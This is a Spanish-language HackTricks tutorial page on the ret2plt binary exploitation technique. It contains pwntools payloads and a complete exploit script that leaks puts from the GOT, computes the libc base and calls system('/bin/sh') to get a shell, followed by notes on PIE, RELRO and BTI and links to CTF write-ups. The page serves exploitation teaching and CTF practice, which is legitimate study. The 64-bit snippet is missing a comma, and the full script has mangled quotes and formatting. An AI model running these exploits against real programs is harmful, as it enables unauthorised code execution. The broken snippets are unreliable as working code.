Ret2plt

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

El objetivo de esta técnica sería leak an address from a function from the PLT para poder bypass ASLR. Esto es porque, por ejemplo, si leak the address of the function puts from the libc, puedes entonces calcular dónde está la base de libc y calcular offsets para acceder a otras funciones como system.

Esto se puede hacer con un payload de pwntools como (from here):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Nota cómo puts (usando la dirección desde la PLT) es llamada con la dirección de puts ubicada en la GOT (Global Offset Table). Esto se debe a que para cuando puts imprima la entrada de la GOT de puts, esta entrada contendrá la dirección exacta de puts en memoria.

También fíjate cómo la dirección de main se usa en el exploit para que cuando puts termine su ejecución, el binary llame a main de nuevo en lugar de salir (por lo que la dirección leak seguirá siendo válida).

Caution

Fíjate que para que esto funcione el binary no puede estar compilado con PIE o debes haber encontrado un leak para bypassear PIE para poder conocer la dirección de la PLT, GOT y main. De lo contrario, necesitas bypassear PIE primero.

Puedes encontrar un ejemplo completo de este bypass aquí. Este fue el exploit final de ese ejemplo:

Ejemplo completo de exploit (ret2plt leak + system) ```python from pwn import *

elf = context.binary = ELF(‘./vuln-32’) libc = elf.libc p = process()

p.recvline()

payload = flat( ‘A’ * 32, elf.plt[‘puts’], elf.sym[‘main’], elf.got[‘puts’] )

p.sendline(payload)

puts_leak = u32(p.recv(4)) p.recvlines(2)

libc.address = puts_leak - libc.sym[‘puts’] log.success(f’LIBC base: {hex(libc.address)}’)

payload = flat( ‘A’ * 32, libc.sym[‘system’], libc.sym[‘exit’], next(libc.search(b’/bin/sh\x00’)) )

p.sendline(payload)

p.interactive()

</details>

## Consideraciones modernas

- **`-fno-plt` builds** (común en distribuciones modernas) reemplazan `call foo@plt` con `call [foo@got]`. Si el binario no tiene un stub `foo@plt`, aún puedes obtener un leak de la dirección resuelta con `puts(elf.got['foo'])` y luego **retornar directamente a la entrada GOT** (`flat(padding, elf.got['foo'])`) para saltar a libc una vez que el lazy binding se haya completado.
- **Full RELRO / `-Wl,-z,now`**: GOT es de solo lectura pero ret2plt sigue funcionando para leaks porque solo lees la ranura del GOT. Si el símbolo nunca fue llamado, tu primer ret2plt también realizará lazy binding y luego imprimirá la ranura resuelta.
- **ASLR + PIE**: si PIE está habilitado, primero obtén un leak de un puntero de código (p. ej., dirección de retorno guardada, puntero a función, o una entrada `.plt` vía otro format‑string/infoleak) para calcular la base PIE, luego construye la cadena ret2plt con las direcciones PLT/GOT reubicadas.
- **Non‑x86 architectures with BTI/PAC (AArch64)**: las entradas PLT son valid BTI landing pads (`bti c`), así que al explotar binarios con BTI activado es preferible saltar al stub PLT (o a otro gadget anotado con BTI) en lugar de ir directamente a un gadget de libc sin BTI; de lo contrario la CPU lanzará fallos `BRK`/`PAC`.
- **Quick resolution helper**: si la función objetivo no está aún resuelta y necesitas un leak en un solo intento, encadena la llamada PLT dos veces: primero `elf.plt['foo']` (para resolver) y luego otra vez `elf.plt['foo']` con la dirección GOT como argumento para imprimir la ranura ya rellenada.

## Otros ejemplos & References

- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, el primer paso es llenar un overflow hasta el byte 0x00 del canary para luego llamar a puts y obtener un leak. Con el canary se crea un gadget ROP para llamar a puts y obtener un leak de la dirección de puts desde el GOT y luego un gadget ROP para llamar a `system('/bin/sh')`.
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, sin canary, stack overflow en main desde una función hija. Gadget ROP para llamar a puts y obtener un leak de la dirección de puts desde el GOT y luego llamar a un one gadget.

## Referencias

- [MaskRay – All about Procedure Linkage Table](https://maskray.me/blog/2021-09-19-all-about-procedure-linkage-table)

> [!TIP]
> Aprende y practica Hacking en AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Hacking en GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica Hacking en Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
>
> </details>